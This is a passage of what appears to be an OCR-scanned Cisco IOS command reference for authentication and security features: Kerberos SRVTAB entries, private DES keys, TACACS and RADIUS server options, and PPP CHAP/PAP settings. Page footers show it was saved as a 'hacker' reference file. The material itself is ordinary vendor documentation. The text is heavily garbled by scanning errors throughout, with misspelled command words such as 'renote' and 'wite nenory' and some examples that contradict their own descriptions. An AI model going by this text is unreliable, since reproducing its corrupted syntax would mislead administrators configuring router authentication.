kerberos srvtab entry kerberos-principle principle-type tinmestanp key-versi on nunber

key-type key-length encrypted-keytab

no kerberos srvtab entry kerberos-principle principle-type

Synt ax Descri ption

kerberos-principle A service on the router

principle-type Version of the Kerberos SRVTAB

ti mestanp Nunber representing the date and tine the SRVTAB entry was created

key-version nunber Version of the encryption key format.

key-type Type of encryption used.

key-length Length, in bytes, of the encryption key.

encrypt ed- keytab Secret key the router shares with the KDC. It is encrypted with the

private Data Encryption Standard (DES) key (if available) when you wite out your configuration
Command Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Csco | 0S Rel ease 11. 2.

When you use the kerberos srvtab renpte command to copy the SRVIAB file froma renote

host (generally the KDC), it parses the information in this file and stores it in the router's
runni ng

configuration in the kerberos srvtab entry format. The key for each SRVTAB entry is encrypted
with a private DES key if one is defined on the router. To ensure that the SRVTAB is avail abl e
(that is, that it does not need to be acquired fromthe KDC) when you reboot the router, use the
wite nenory router configuration command to wite the router's running configuration to
NVRAM

If you reload a configuration, with a SRVTAB encrypted with a private DES key, on to a router
that does not have a private DES key defined, the router displays a nmessage informng you that
the SRVTAB entry has been corrupted, and discards the entry.

If you change the private DES key and reload an old version of the router's configuration that
contains SRVTAB entries encrypted with the old private DES keys, the router will restore your
Ker beros SRVTAB entries, but the SRVTAB keys will be corrupted. In this case, you nust delete
your ol d Kerberos SRVTAB entries and rel oad your Kerberos SRVTABs on to the router using the

file://ID|//WEB/hacker/TheModHackReference.txt (109 of 169) [9/12/2004 8:18:42 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

kerberos srvtab renpote conmand.

Al t hough you can configure kerberos srvtab entry on the router manually, generally you woul d
not do this because the keytab is encrypted automatically by the router when you copy the
SRVTAB usi ng the kerberos srvtab renpte conmmand.

Exanpl e

In the foll owi ng exanple, host/newrouter.loki.com@OKI.COMis the host, 0 is the type
817680774 is the tinmestanp, 1 is the version of the key, 1 indicates the DES is the encryption
type, 8 is the nunber of bytes, and .cCN. YoU.okK is the encrypted key:

kerberos srvtab entry host/newrouter.|oki.com@QOKl.COM 0 817680774 1 1 8 . cCN. YoU. okK

Rel at ed Commrands

kerberos srvtab renote

key confi g- key

[12.4.8] kerberos srvtab renote

Use the kerberos srvtab renote configuration conmand to retrieve a krb5 SRVTAB file fromthe
speci fied host.

kerberos srvtab renote {hostnanme | ip-address} {fil enane}

Synt ax Description

host name Machine with the Kerberos SRVTAB file.

i p-address | P address of the nachine with the Kerberos SRVTAB file.

filenane Nane of the SRVTAB file.

Conmand Mode

Confi guration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11.2

When you use the kerberos srvtab renote conmand to copy the SRVTIAB file fromthe renote

host (generally the KDC), it parses the information in this file and stores it in the router's
runni ng

configuration in the kerberos srvtab entry format. The key for each SRVTAB entry is encrypted
with the private Data Encryption Standard (DES) key if one is defined on the router. To ensure
that the SRVTAB is available (that is, that it does not need to be acquired fromthe KDC) when
you reboot the router, use the wite nenory configuration command to wite the router's running
configuration to NVRAM

Exanpl e

The command in the follow ng exanpl e copies the SRVTIAB file residing on bucket.cisco.comto a
router named scooter.ci sco.com

kerberos srvtab renmote bucket.ci sco.com scooter.ci sco.comnew srvtab

Rel at ed Commrands

kerberos srvtab entry

key confi g-key

[12.4.9] key config-key Use the key config-key gl obal configuration command to define a private
DES key for the router.

Use the no formof this command to delete a private Data Encryption Standard (DES) key for the
router.

key config-key 1 string

Synt ax Descri ption

string Private DES key (can be up to 8 al phanuneric characters).

Def aul t

No DES- key defi ned.

Command Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Csco | 0S Rel ease 11. 2.

This command defines for the router a private DES key that will not show up in the router
configuration. This private DES key can be used to DES-encrypt certain parts of the router's
configuration.

Caution The private DES key is unrecoverable. If you encrypt part of your configuration with the
private DES key and | ose or forget the key, you will not be able to recover the encrypted data.
Exanpl e

The conmmand in the foll ow ng exanple sets bubba as the private DES key on the router:

key config-key 1 bubba

Rel at ed Comrands
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kerberos srvtab entry

kerberos srvtab renote

[12.5.0] login tacacs

To configure your router to use TACACS user authentication, use the login tacacs |ine
configuration command. Use the no formof this command to di sabl e TACACS user

aut hentication for a |ine.

| ogi n tacacs

no login tacacs

Synt ax Descri ption

This command has no argunents or keywords.

Def aul t

Di sabl ed

Command Mode

Li ne configuration

Usage Cui delines

This command first appeared in Cisco | OS Rel ease 10.0.

You can use TACACS security if you have configured a TACACS server and you have a

command control | anguage (CCL) script that allows you to use TACACS security. For infornmation
about using files provided by C sco Systens to nodify CCL scripts to support TACACS user

aut hentication, refer to the "Configuring Appl eTal k Renbte Access" chapter in the Access
Servi ces Configuration Cuide.

Not e This conmand cannot be used with AAA/ TACACS+. Use the | ogin authentication

comand i nst ead.

Exanpl e

In the follow ng exanple, lines 1 through 16 are configured for TACACS user authentication
line 1 16

| ogi n tacacs

[12.5.1] nasi authentication

To enabl e TACACS+ aut hentication for NetWare Asynchronous Services Interface (NASI) clients
connecting to a router, use the nasi authentication |line configuration command. Use the no form
of the command to return to the default, as specified by the aaa authentication nasi conmand.
nasi authentication {default | |ist-nane}

no |l ogin authentication {default | |ist-nane}

Synt ax Descri ption

default Uses the default list created with the aaa authentication nasi comrand.

list-nane Uses the list created with the aaa authentication nasi commuand. Default

Uses the default set with the aaa authentication nasi comand.

Command Mode

Li ne configuration

Usage Cui deli nes

This command first appeared in Cisco | OS Rel ease 11.1.

This command is a per-line comrand used with AAA authentication that specifies the name of a
list of TACACS+ authentication nmethods to try at login. If no list is specified, the default |ist
is

used, even if it is specified in the command line. (You create defaults and lists with the aaa
aut henti cation nasi command.) Entering the no formof this command has the sanme effect as
entering the command with the default argument.

Caution If you use a |ist-nane value that was not configured with the aaa authentication nasi
comand, you will disable login on this |line.

Before issuing this conmand, create a list of authentication processes by using the aaa

aut henti cation nasi gl obal configuration conmand.

Exanpl es

The foll owi ng exanpl e specifies that the default AAA authentication be used on line 4:

line 4

nasi authentication default

The foll owi ng exanpl e specifies that the AAA authentication list called listl be used on line 7:
line 7

nasi authentication listl

Rel at ed Commrands

A dagger (t) indicates that the command is docunented outside this chapter

aaa aut hentication nasi
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i px nasi-server enable ¥

show i px nasi connections t

show i px spx-protocol ¥

[12.5.2] ppp authentication

To enabl e Chal | enge Handshake Authentication Protocol (CHAP) or Password Authentication

Prot ocol (PAP) or both and to specify the order in which CHAP and PAP authentication are
selected on the interface, use the ppp authentication interface configurati on command. Use the
no formof the command to disable this authentication

ppp authentication {chap | chap pap | pap chap | pap } [if-needed] [list-name | default]
[callin]

no ppp authentication

Synt ax Description

chap Enabl es CHAP on a serial interface.

pap Enabl es PAP on a serial interface.

chap pap Enabl es both CHAP and PAP, and performs CHAP aut hentication before PAP

pap chap Enabl es both CHAP and PAP, and perforns PAP authentication before CHAP

i f-needed (Optional) Used with TACACS and ext ended TACACS. Does not perform CHAP

or PAP authentication if the user has already provided authentication. This option is avail able
only

on asychronous interfaces.

list-name (Optional) Used with AAA/ TACACS+. Specifies the nane of a |list of TACACS+

met hods of authentication to use. If no list nane is specified, the systemuses the default. The
Iist

is created with the aaa authentication ppp comrand.

default The name of the nethod list is created with the aaa authentication ppp conmand.
callin Specifies authentication on incomng (received) calls only.

Caution If you use a list-nanme value that was not configured with the aaa authentication

ppp command, you will disable PPP on this interface.

Def aul t

PPP aut hentication is not enabl ed.

Command Mode

Interface configuration

Usage Gui del i nes

This command first appeared in C sco | 0S Rel ease 10. 0.

When you enabl e CHAP or PAP Aut hentication, or both, the local router requires the renote
device to prove its identity before allowing data traffic to flow PAP Authentication requires the
renote device to send a nanme and password, which is checked against a matching entry in the

| ocal usernane database or in the renpte TACACS/ TACACS+ dat abase. CHAP Aut henti cation

sends a Challenge to the renpote device. The renmpte device encrypts the challenge value with a
shared secret and returns the encrypted value and its name to the local Router in a Response
message. The local router attenpts to natch the renpte device's name with an associ ated secret
stored in the | ocal username or renote TACACS/ TACACS+ dat abase; it uses the stored secret to
encrypt the original challenge and verify that the encrypted val ues match

You can enable PAP or CHAP, or both, in either order. If you enable both nmethods, the first
met hod specified is requested during link negotiation. If the peer suggests using the second
met hod, or refuses the first nethod, the second nmethod is tried. Sone renpte devices support
only CHAP, and sonme support only PAP. Base the order in which you specify nmethods on the
renote device's ability to correctly negotiate the appropriate nethod, and on the | evel of data
I'ine

security you require. PAP usernanes and passwords are sent as cleartext strings, which can be
i ntercepted and reused. CHAP has elim nated nmost of the known security hol es.

Enabl i ng or disabling PPP authentication does not affect the local router's willingness to
authenticate itself to the renpte device

If you are using autoselect on a TTY line, you probably want to use the ppp authentication
comand to turn on PPP authentication for the corresponding interface.

Exanpl e

The foll owi ng exanpl e enabl es CHAP on asynchronous interface 4 and uses the authentication
list MS-access:

interface async 4

encapsul ati on ppp

ppp authentication chap M S-access
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Rel at ed Commrands

A dagger (1) indicates that the command i s docunented outside this chapter.

aaa aut hentication ppp

aaa new- nodel

autosel ect T

encapsul ation ppp t

ppp use-tacacs

user nane t

[12.5.3] ppp chap hostname

Use the ppp chap hostnanme interface configuration command to create a pool of dialup routers
that all appear to be the sane host when authenticating with CHAP. To disable this function, use
the no formof the command.

ppp chap host name host nane

no ppp chap host name host nane

Synt ax Descri ption

host nane The nanme sent in the CHAP chal |l enge.

Def aul t
Di sabl ed. The router name is sent in any CHAP chal |l enges.
Command Mode

Interface configuration

Usage Gui del i nes

This command first appeared in Csco | 0S Rel ease 11. 2.

Currently, a router dialing a pool of access routers requires a usernane entry for each possible
router in the pool because each router challenges with its hostname. If a router is added to the
dialup rotary pool, all connecting routers nust be updated. The ppp chap hostnane comrand

all ows you to specify a conmon alias for all routers in a rotary group to use so that only one
user name nmust be configured on the dialing routers.

This command is normal ly used with | ocal CHAP authentication (when the router authenticates to
the peer), but it can also be used for renote CHAP authentication

Exanpl e

The conmmands in the followi ng exanple identify the dialer interface O as the dialer rotary group
| eader and specifies ppp as the nethod of encapsul ation used by all nenmber interfaces. CHAP
aut hentication is used on received calls only. The username |1SPCorp will be sent in all CHAP
chal | enges and responses.

interface dialer 0

encapsul ati on ppp

ppp authentication chap callin

ppp chap host nmae | SPCor p

Rel at ed Commuands

aaa aut hentication ppp

ppp aut hentication

ppp chap password

ppp pap

[12.5.4] ppp chap password

Use the ppp chap password interface configuration command to enable a router calling a
collection of routers that do not support this command (such as routers running older G sco |IC0S
software i mages) to configure a comobn CHAP secret password to use in response to

chal | enges from an unknown peer. To disable this function, use the no formof this conmand.
ppp chap password secret

no chap password secret

Synt ax Descri ption

secret The secret used to conpute the response value for any CHAP chal |l enge from an

unknown peer.

Def aul t

Di sabl ed.

Command Mode

Interface configuration

Usage Cui deli nes

This command first appeared in Cisco | OS Rel ease 11. 2.

This command all ows you to replace several usernane and password configurati on conmands

with a single copy of this command on any dialer interface or asynchronous group interface.
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This command is used for renote CHAP authentication only (when routers authenticate to the
peer) and does not affect |ocal CHAP authentication

Exanpl e

The commands in the followi ng exanple specify Integrated Services Digital Network (ISDN) Basic
Rate Interface (BRI) nunmber 0. The nmethod of encapsulation on the interface is PPP. If a CHAP
chal l enge is received froma peer whose nane is not found in the global Iist of usernames, the
encrypted secret 7 1267234591 is decrypted and used to create a CHAP response val ue.
interface bri 0

encapsul ation ppp

ppp chap password 7 1234567891

Rel at ed Comrands

aaa aut hentication ppp

ppp aut henti cation

ppp chap host nane

ppp pap

[12.5.5] ppp pap sent-usernane

To reenabl e renote PAP support for an interface and use the sent-usernane and password in
the PAP authentication request packet to the peer, use the ppp pap sent-usernane interface
configuration command. Use the no formof this command to disable renpote PAP support.

ppp pap sent-usernanme username password password

no ppp pap sent-username

Synt ax Descri ption

user nane Usernanme sent in the PAP authentication request.

password Password sent in the PAP authentication request.

password Must contain from 1l to 25 uppercase and | owercase al phanuneric characters.

Def aul t

Renot e PAP support di sabl ed.

Conmand Mode

You nust configure this command for each interface.

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11. 2.

Use this conmand to reenable renmote PAP support (for exanmple to respond to the peer's request
to authenticate with PAP) and to specify the paraneters to be used when sendi ng the PAP
Aut henti cati on Request.

This is a per-interface conmand.

Exanpl e

The conmmands in the followi ng exanple identify dialer interface 0 as the dialer rotary group
| eader and specify PPP as the nethod of encapsul ati on used by the interface. Authentication is
by CHAP or PAP on received calls only. 1SPCor is the username sent to the peer if the peer
requires the router to authenticate with PAP

interface dialerO

encapsul ati on ppp

ppp authentication chap pap callin

ppp chap host name | SPCor

ppp pap sent usernane | SPCorp password 7 fjhfeu

ppp pap sent-usernane | SPCorp password 7 1123659238

Rel at ed Commrands

aaa aut hentication ppp

ppp aut henti cation

ppp chap host nane

ppp chap password

ppp use-tacacs

[12.5.6] ppp use-tacacs

To enabl e TACACS for PPP authentication, use the ppp use-tacacs interface configuration
command. Use the no formof the command to di sable TACACS for PPP authentication

ppp use-tacacs [single-line]

no ppp use-tacacs

Note This conmand is not used in AAA/ TACACS+. It has been replaced with the aaa

aut henti cati on ppp conmand.

Synt ax Description

single-line (Optional) Accept the username and password in the username field. This option
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appl i es only when using CHAP aut henti cati on.

Def aul t

TACACS is not used for PPP authentication

Command Mbde

Interface configuration

Usage Gui del i nes

This command first appeared in Cisco | 0OS Rel ease 10. 3.

This is a per-interface command. Use this command only when you have set up an extended
TACACS server.

When CHAP aut hentication is being used, the ppp use-tacacs command with the single-line
option specifies that if a usernane and password are specified in the usernane, separated by an
asterisk (*), a standard TACACS login query is performed using that username and password. |f
t he usernane does not contain an asterisk, then normal CHAP authentication is perforned.

This feature is useful when integrating TACACS with other authentication systens that require a
cleartext version of the user's password. Such systens include one-tine password systenmns,
token card systens, and Kerber os.

Caution Normal CHAP authentications prevent the cleartext password from being

transmtted over the |ink. Wen you use the single-line option, passwords cross the link as
cl eartext.

If the usernanme and password are contained in the CHAP password, the CHAP secret is not

used by the G sco I0S software. Because nost PPP clients require that a secret be specified,
you can use any arbitrary string, and the Cisco I OS software ignores it.

Exanpl es

In the foll owi ng exanple, asynchronous serial interface 1 is configured to use TACACS for CHAP
aut hentication: interface async 1

ppp aut hentication chap

ppp use-tacacs

In the foll owi ng exanpl e, asynchronous serial interface 1 is configured to use TACACS for PAP
aut henti cati on:

interface async 1

ppp aut hentication pap

ppp use-tacacs

Rel at ed Comands

ppp aut hentication

tacacs-server extended

t acacs-server host

[12.5.7] radius-server dead-tine

To inprove RADI US response tinmes when sone servers night be unavail able, use the radiusserver
dead-tine gl obal configuration command to cause the unavail able servers to be skipped

i medi ately. Use the no formof this conmand to set dead-tine to O.

radi us-server dead-tine mnutes

no radi us-server dead-tine

Syntax Description

m nutes Length of time a RADIUS server is skipped over by transaction requests, up to a

maxi mum of 1440 mi nutes (24 hours).

Def aul t
Dead tine is set to O.
Comuand Mbde

d obal configuration

Usage Gui del i nes

Use this conmand to cause the Csco 10S to mark as "dead" RADI US servers that fail to respond
to authentication requests, thus avoiding the wait for the request to tine out before trying the
next

configured server. A RADI US server marked as "dead" is skipped by additional requests for the
duration of minutes or unless there are no servers not marked "dead."

Exanpl e

The foll owi ng exanple specifies 5 nminutes dead-tinme for RADI US servers that fail to respond to
aut henti cati on requests.

radi us-server dead-tine 5

Rel at ed Comrands

radi us-server host
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radi us-server retransmt

radi us-server tineout

[12.5.8] radius-server host

To specify a RADIUS server host, use the radi us-server host global configuration comand.
Use the no formof this conmand to del ete the specified RAD US host.

radi us-server host {hostname | ip-address} [auth-port port-nunber] [acct-port port-nunber]
no radi us-server host {hostnane | ip-address}

Synt ax Descri ption

host name DNS nanme of the RADI US server host.

i p-address | P address of the RADI US server host.

aut h-port Specifies the UDP destination port for authentication requests.

port-nunber Port nunmber for authentication requests; the host is not used for authentication
if

set to O.

acct-port Specifies the UDP destination port for accounting requests.

port-nunber Port nunber for accounting requests; the host is not used for accounting if set to
0.

Def aul t

No RADI US host is specified.

Conmand Mode

d obal configuration

Usage Cui deli nes

You can use nultiple radius-server host comands to specify multiple hosts. The software
searches for hosts in the order you specify them

Exanpl e

The foll owi ng exanpl e specifies hostl as the RADI US server and uses default ports for both
accounting and authenticati on.

radi us-server host host 1. conpany. com

The foll owi ng exanpl e specifies port 12 as the destination port for authentication requests and
port 16 as the destination port for accounting requests on a RAD US host naned host 1:

radi us-server host host1.conpany.com auth-port 12 acct-port 16

Not e that because entering a line resets all the port numbers, you must specify a host and
configure accounting and authentication ports on a single line.

To use separate servers for accounting and authentication, use the zero port val ue as
appropriate. The foll ow ng exanple specifies that RADIUS server hostl be used for accounting
but not for authentication, and that RADI US server host2 be used for authentication but not for
accounting:

radi us-server host host1. conpany.com aut h-port O

radi us-server host host 2. conpany.com acct-port O

Rel at ed Commuands

A dagger (t) indicates that the command is docunented outside this chapter

aaa accounting ft

aaa aut hentication

aaa aut hori zation

| ogi n authentication t

| ogin tacacs

pppt

ppp aut hentication

slip t

tacacs-server

user nane t

[12.5.9] radius-server key

Use the radius-server key global configuration comand to set the authentication and
encryption key for all RADIUS conmuni cations between the router and the RADI US daenon.

Use the no formof the comuand to disable the key.

radi us-server key {string}

no radi us-server key

Synt ax Descri ption

string (Optional) The key used to set authentication and encryption

This key nust match the encryption used on the RADI US daenon.

Def aul t
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Di sabl ed

Conmand Mode

d obal Configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11.1.

After enabling AAA authentication with the aaa new nodel conmand, you must set the

aut hentication and encryption key using the radi us-server key conmmand.

Note Specify a RADI US key after you issue the aaa newnodel conmand.

The key entered nust match the key used on the RADI US daenon. All | eading spaces are

i gnored, but spaces within and at the end of the key are used. If you use spaces in your key, do
not enclose the key in quotation marks unless the quotation narks thensel ves are part of the
key.

Exanpl e

The following exanple illustrates how to set the authentication and encryption key to "dare to
go":

radi us-server key dare to go

Rel at ed Comrands

A dagger (t) indicates that the command is docunented outside this chapter

| ogin authentication t |ogin tacacs

ppp T

ppp aut henti cation

slip t

t acacs-server

user nane t

[12.6.0] radius-server retransmit

To specify the nunber of tinmes the Cisco | OS software searches the list of RADIUS server hosts
before giving up, use the radius-server retransmt global configuration command. Use the no
formof this command to disable retransm ssion

radi us-server retransmt retries

no radi us-server retransmt

Syntax Description

retries Maxi mum nunber of retransni ssion attenpts.

Def aul t

Three retries

Command Mbde

d obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11.1.

The Cisco 1 0S software tries all servers, allow ng each one to time out before increasing the
retransmt count.

Exanpl e

The foll owing exanple specifies a retransnt counter value of five tinmes:

radi us-server retransnit 5

radi us-server tineout

To set the interval a router waits for a server host to reply, use the radius-server tineout
gl obal

configuration conmand. Use the no formof this conmand to restore the default.

radi us-server tineout seconds

no radi us-server timeout

Syntax Description

seconds I nteger that specifies the tineout interval in seconds.

Def aul t

5 seconds

Command Mode

d obal configuration

Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 11.1.

Exanpl e

The foll owi ng exanpl e changes the interval tiner to 10 seconds:

radi us-server tineout 10

Rel at ed Comrands
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A dagger (t) indicates that the command is docunented outside this chapter

| ogin authentication f

| ogin tacacs

ppp T

ppp aut henticationft

slip t

tacacs-server t

user nane t

[12.6.1] show kerberos creds

Use the show kerberos creds EXEC comand to display the contents of your credentials
cache.

show ker beros creds

Syntax Description

This command has no keywords or argunents.

Conmand Mode

EXEC Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11.1.

The show kerberos creds conmmand is equivalent to the UNI X klist comand.

When users authenticate thensel ves with Kerberos, they are issued an authentication ticket
called a credential. The credential is stored in a credential cache.

Sanpl e Di spl ays

In the following exanple, the entries in the credentials cache are displ ayed:
Rout er > show ker beros creds

Default Principal: chet@isco.com

Valid Starting Expires Service Principa

18- Dec-1995 16:21: 07 19-Dec-1995 00: 22: 24 kr bt gt/ Cl SCO. COM@Ll SCO. COM

In the follow ng exanple, output is returned that acknow edges that credentials do not exist in
t he

credential s cache:

Rout er > show ker beros creds

No Kerberos credentials

Rel at ed Comand

cl ear kerberos creds

[12.6.2] show privilege

To display your current |level of privilege, use the show privil ege EXEC comand.
show privil ege

Syntax Description

This command has no argunments or keywords.

Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.3

Sanpl e Di spl ay

The following is sanple output fromthe show privilege command. The current privilege level is
15.

Rout er# show privil ege

Current privilege level is 15

Rel at ed Comrand

A dagger (t) indicates that the command is docunmented outside this chapter

enabl e password T

[12.6.3] tacacs-server key

Use the tacacs-server key global configuration command to set the authentication encryption
key used for all TACACS+ conmuni cations between the access server and the TACACS+
daenmon. Use the no formof the command to disable the key.

tacacs-server key key

no tacacs-server key [key]

Synt ax Descri ption

key Key used to set authentication and encryption. This key must match the key used on the
TACACS+ daenon.

Command Mode

d obal Configuration
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Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 11.1.

After enabling AAA with the aaa new nodel command, you nust set the authentication and
encryption key using the tacacs-server key command.

The key entered nmust match the key used on the TACACS+ daenon. All | eadi ng spaces are

i gnored; spaces within and at the end of the key are not. If you use spaces in your key, do not
encl ose the key in quotation narks unless the quotati on marks thenselves are part of the key.
Exanpl e

The following exanple illustrates how to set the authentication and encryption key to "dare to
go":

tacacs-server key dare to go

Rel at ed Comrands

aaa new- nodel

tacacs-server host

[12.6.4] tacacs-server |ogin-tineout

To specify how long the systemw |l wait for login input (such as usernane and password) before
timng out, use the tacacs-server |ogin-tineout global configuration command. Use the no form
of this command to restore the default value of 30 seconds.

tacacs-server |ogin-timeout seconds

no tacacs-server |ogin-tinmeout seconds

Synt ax Descri ption

seconds Integer that determ nes the nunber of seconds the systemw Il wait for |ogin input
before timng out. Available settings are from1 to 300 seconds.

Def aul t

The default login timeout value is 30 seconds.

Conmand Mode

A obal configuration

Usage Gui deli nes

Wth aaa new nodel enabled, the default login timout value is 30 seconds. The tacacs-server

| ogi n-ti meout conmand | ets you change this tinmeout value from1l to 300 seconds. To restore
the default login timeout value of 30 seconds, use the no tacacs-server |ogin-tineout

command.

Exanpl e

The foll ow ng exanpl e changes the login tineout value to 60 seconds:

tacacs | ogin 60

[12.6.5] tacacs-server authenticate

To configure the Cisco I OS software to indicate whether a user can performan attenpted action
under TACACS and extended TACACS, use the tacacs-server authenticate gl oba

configuration comrand.

tacacs-server authenticate {connection [always]enable | slip [always] [access-lists]}

Synt ax Description

connection Configures a required response when a user nakes a TCP connecti on.

enabl e Configures a required response when a user enters the enabl e comrand.

slip Configures a required response when a user starts a SLIP or PPP session

al ways (Optional) Perfornms authentication even when a user is not |logged in. This option only
applies to the slip keyword.

access-lists (Optional) Requests and installs access lists. This option only applies to the
slip

keywor d.

Command Mode

A obal configuration

Usage Cui delines

The tacacs-server authenticate [connection | enable] comuand first appeared in Csco | CS

Rel ease 10.0. The tacacs-server authenticate {connection [always]enable | slip [always]
[access-lists]} command first appeared in Csco | OS Rel ease 10. 3.

Enter one of the keywords to specify the action (when a user enters enable node, for exanple).
Bef ore you use the tacacs-server authenticate command, you must enable the tacacs-server

ext ended command.

Note This conmmand is not used in AAA/ TACACS+. It has been replaced by the aaa

aut hori zati on conmmand.

Exanpl e
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The foll owi ng exanpl e configures TACACS | ogi ns that authenticate users to use Telnet or rlogin:
tacacs-server authenticate connect

Rel at ed Commuands

A dagger (t) indicates that the command is docunented outside this chapter

enabl e secret T

enabl e use-tacacs

[12.6.6] tacacs-server directed-request

To send only a username to a specified server when a direct request is issued, use the tacacs-
server directed-request global configuration command. Use the no formof this command to

di sabl e the direct-request feature.

tacacs-server directed-request

no tacacs-server directed-request

Syntax Description

This command has no argunments or keywords.

Def aul t

Enabl ed

Comand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11.1.

This command sends only the portion of the usernane before the "@ synbol to the host
specified after the "@ synbol. In other words, with the directed-request feature enabl ed, you can
direct a request to any of the configured servers, and only the usernane is sent to the specified
server.

Di sabli ng tacacs-server directed-request causes the whole string, both before and after the "@
synbol, to be sent to the default tacacs server. Wen the directed-request feature is disabled,
t he

router queries the list of servers, starting with the first one in the list, sending the whole
string, and

accepting the first response that it gets fromthe server. The tacacs-server directed-request
command i s useful for sites that have devel oped their own TACACS server software that parses
the whol e string and makes deci sions based on it.

Wth tacacs-server directed-request enabl ed, only configured TACACS servers can be

specified by the user after the "@ synbol. If the host name specified by the user does not match
the I P address of a TACACS server configured by the adm nistrator, the user input is rejected.
Use no tacacs-server directed-request to disable the ability of the user to choose between
configured TACACS servers and to cause the entire string to be passed to the default server
Exanpl e

The foll owi ng exanpl e enabl es tacacs-server directed-request so that the entire user input is
passed to the default TACACS server

no tacacs-server directed-request

tacacs-server extended

To enabl e an extended TACACS node, use the tacacs-server extended gl obal configuration
conmand. Use the no formof this command to disable the node.

tacacs-server extended

no tacacs-server extended

Synt ax Description

This command has no argunents or keywords.

Def aul t

Di sabl ed

Conmand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0

This command initializes extended TACACS. To initialize AAA/ TACACS+, use the aaa newnodel
conmand.

Exanpl e

The foll owi ng exanpl e enabl es ext ended TACACS node:

tacacs-server extended

t acacs-server host

To specify a TACACS host, use the tacacs-server host gl obal configuration command. Use the
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no formof this command to delete the specified name or address.

tacacs-server host hostnane [single-connection] [port integer] [tineout integer] [key
string]

no tacacs-server host hostnane

Synt ax Description

host name Name or | P address of the host.

singl e-connection Specify that the router maintain a single open connection for confirmation
froma AAA/ TACACS+ server (CiscoSecure Release 1.0.1 or later). This comand contai ns no
autodetect and fails if the specified host is not running a G scoSecure daenon.

port Specify a server port nunber.

i nteger Port nunber of the server (in the range 1 to 10, 000).

timeout Specify a tineout value. This overrides the global tineout value set with the
tacacs-server timeout command for this server only.

i nteger Integer value, in seconds, of the timeout interval.

key Specify an authentication and encryption key. This nust match the key used by the
TACACS+ daenon. Specifying this key overrides the key set by the gl obal comand tacacsserver
key for this server only.

string Character string specifying authentication and encryption key.

Def aul t

No TACACS host is specified.

Conmand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0

You can use nultiple tacacs-server host comands to specify additional hosts. The Cisco I OS
sof tware searches for hosts in the order in which you specify them Use the single-connection
port, tinmeout, and key options only when running a AAA/ TACACS+ server.

Because sone of the paraneters of the tacacs-server host command override gl obal settings
made by the tacacs-server tinmeout and tacacs-server key commands, you can use this

command to enhance security on your network by uniquely configuring individual routers.
Exanpl es

The foll owi ng exanpl e specifies a TACACS host named Sea_Change:

tacacs-server host Sea_Change

The foll owi ng exanpl e specifies that, for AAA confirmation, the router consult the C scoSecure
TACACS+ host named Sea Cure on port nunber 51. The tineout value for requests on this
connection is 3 seconds; the encryption key is a_secret.

tacacs-server host Sea Cure single-connection port 51 tineout 3 key a_secret

Rel at ed Commands

A dagger (t) indicates that the command i s docunented outside this chapter.

| ogin tacacs

ppp T

slip t

tacacs-server key

tacacs-server timeout

[12.6.7] tacacs-server key

Use the tacacs-server key global configuration command to set the authentication encryption
key used for all TACACS+ conmuni cations between the access server and the TACACS+

daenon. Use the no formof the command to di sable the key.

tacacs-server key key

no tacacs-server key [key]

Synt ax Descri ption

key Key used to set authentication and encryption. This key must nmatch the key used on the
TACACS+ daenon.

Command Mode

d obal Configuration

Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 11.1.

After enabling AAA with the aaa new nodel command, you mnust set the authentication and
encryption key using the tacacs-server key command.

The key entered nust match the key used on the TACACS+ daenon. All | eadi ng spaces are

i gnored; spaces within and at the end of the key are not. |If you use spaces in your key, do not
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encl ose the key in quotation nmarks unless the quotati on marks thenselves are part of the key.
Exanpl e

The following exanple illustrates how to set the authentication and encryption key to "dare to
go":

tacacs-server key dare to go

Rel at ed Commrands

aaa new nodel tacacs-server host

[12.6.8] tacacs-server last-resort

To cause the network access server to request the privileged password as verification, or to allow
successful login without further input fromthe user, use the tacacs-server last-resort globa
configuration conmand. Use the no tacacs-server |ast-resort conmand to restore the systemto
the default behavi or

tacacs-server |ast-resort {password | succeed}

no tacacs-server last-resort {password | succeed}

Synt ax Descri ption

password All ows the user to access the EXEC command nbde by entering the password

set by the enabl e commuand.

succeed Allows the user to access the EXEC comuand node wi t hout further question

Def aul t

If, when running the TACACS server, the TACACS server does not respond, the default action is
to deny the request.

Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10.0.

Use the tacacs-server last-resort conmand to be sure that |ogin can occur; for exanple, when
a systens adm nistrator needs to log in to troubl eshoot TACACS servers that night be down.
Note This command is not used in AAA TACACS+.

Exanpl e

The foll owi ng exanpl e forces successful |ogin

tacacs-server last-resort succeed

Rel at ed Comands

A dagger (1) indicates that the command is docunented outside this chapter

enabl e password T

login (EXEC) *

[12.6.9] tacacs-server notify

Use the tacacs-server notify global configuration command to cause a nessage to be
transmitted to the TACACS server, with retransmi ssion being perfornmed by a background
process for up to 5 minutes. Use the no formof this conmand to disable notification.
tacacs-server notify {connection [always] | enable | |ogout [always] | slip [always]}

no tacacs-server notify

Synt ax Description

connection Specifies that a nmessage be transnmitted when a user nmakes a TCP connection

al ways (Optional) Sends a nessage even when a user is not logged in. This option applies only
to SLIP or PPP sessions and can be used with the |ogout or slip keywords.

enabl e Specifies that a nessage be transmitted when a user enters the enabl e command.

| ogout Specifies that a nessage be transmitted when a user |ogs out.

slip Specifies that a nessage be transnitted when a user starts a SLIP or PPP session

Def aul t

No nessage is transmtted to the TACACS server.

Conmand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0. The always and slip comands first
appeared in Csco | 0OS Rel ease 11.0.

The term nal user receives an inmedi ate response, allow ng access to the feature specified.
Enter one of the keywords to specify notification of the TACACS server upon receipt of the
correspondi ng action (when user |ogs out, for exanple).

Note This conmmand is not used in AAA/ TACACS+. It has been replaced by the

